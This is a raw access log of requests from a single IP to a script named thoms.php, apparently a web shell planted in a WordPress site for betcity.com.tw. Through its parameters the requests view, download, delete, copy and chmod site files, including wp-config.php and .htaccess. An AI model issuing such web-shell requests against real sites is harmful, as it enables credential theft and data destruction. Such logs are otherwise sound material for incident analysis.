45.135.193.11 - - [11/Sep/2026:22:36:38 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:38 -0400] "GET /betcity.com.tw/wp-login.php HTTP/1.1" 404 15320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:38 -0400] "GET /thoms.php?del=wp-settings.php&p=betcity.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-signup.php HTTP/1.1" 200 22509 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:38 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-trackback.php HTTP/1.1" 200 14089 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /betcity.com.tw/deprecated-complete/ HTTP/1.1" 200 6354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /betcity.com.tw/wp-includes/ HTTP/1.1" 200 9381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p= HTTP/1.1" 200 11673 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fdeprecated-complete&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fmah.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /thoms.php?del=.htaccess&p=betcity.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /thoms.php?chmod=wp-config.php&p=betcity.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /thoms.php?chmod=wp-cron.php&p=betcity.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /thoms.php?dl=wp-trackback.php&p=betcity.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11664 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /thoms.php?del=readme.html&p=betcity.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=readme.html&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /thoms.php?del=wp-config.php&p=betcity.com.tw HTTP/1.1" 200 17366 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:39 -0400] "GET /betcity.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?chmod=mah.php&p=betcity.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?dl=xmlrpc.php&p=betcity.com.tw HTTP/1.1" 200 17355 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?del=wp-config-sample.php&p=betcity.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?p=betcity.com.tw%2F.well-known HTTP/1.1" 200 12582 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?p=betcity.com.tw&view=error_log HTTP/1.1" 200 14637 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /betcity.com.tw/schema-shared/ HTTP/1.1" 200 6407 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?del=wp-signup.php&p=betcity.com.tw HTTP/1.1" 200 17368 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?p=betcity.com.tw&settings=1 HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?p=betcity.com.tw&view=mah.php HTTP/1.1" 200 11804 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-activate.php HTTP/1.1" 200 14815 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /betcity.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?del=.well-known&p=betcity.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?del=.well-known&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?dl=.htaccess&p=betcity.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-cron.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:40 -0400] "GET /thoms.php?dl=wp-config.php&p=betcity.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /betcity.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=betcity.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /thoms.php?del=wp-content&p=betcity.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?del=wp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /thoms.php?p=betcity.com.tw&view=locoy.php HTTP/1.1" 200 12962 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /thoms.php?del=locoy.php&p=betcity.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw HTTP/1.1" 200 11431 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-login.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /thoms.php?dl=wp-mail.php&p=betcity.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /thoms.php?p=betcity.com.tw&view=xmlrpc.php HTTP/1.1" 200 13363 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /betcity.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13417 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /thoms.php?chmod=wp-admin&p=betcity.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /thoms.php?del=schema-shared&p=betcity.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?del=schema-shared&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /thoms.php?dl=index.php&p=betcity.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?dl=index.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:41 -0400] "GET /thoms.php?dl=locoy.php&p=betcity.com.tw HTTP/1.1" 200 17359 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /thoms.php?dl=wp-settings.php&p=betcity.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-mail.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /thoms.php?dl=error_log&p=betcity.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?dl=error_log&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /thoms.php?dl=wp-signup.php&p=betcity.com.tw HTTP/1.1" 200 17359 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /betcity.com.tw/cgi-bin/ HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /thoms.php?chmod=upgrade&p=betcity.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /betcity.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=betcity.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-links-opml.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /betcity.com.tw/ HTTP/1.1" 404 15320 "https://163.245.207.76/betcity.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-load.php HTTP/1.1" 200 13664 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /betcity.com.tw/.well-known/ HTTP/1.1" 200 780 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /thoms.php?chmod=wp-login.php&p=betcity.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /betcity.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /betcity.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /betcity.com.tw/thoms.php?p= HTTP/1.1" 200 16573 "https://163.245.207.76/betcity.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /thoms.php?chmod=license.txt&p=betcity.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:42 -0400] "GET /betcity.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-activate.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /betcity.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /betcity.com.tw/ HTTP/1.1" 404 15320 "https://163.245.207.76:443/betcity.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=betcity.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13315 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /thoms.php?dl=license.txt&p=betcity.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /thoms.php?chmod=wp-signup.php&p=betcity.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /thoms.php?chmod=wp-activate.php&p=betcity.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /betcity.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /thoms.php?del=wp-trackback.php&p=betcity.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13278 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /thoms.php?del=xmlrpc.php&p=betcity.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /thoms.php?p=betcity.com.tw&view=.htaccess HTTP/1.1" 200 12735 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:43 -0400] "GET /thoms.php?p=betcity.com.tw&view=index.php HTTP/1.1" 200 12046 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
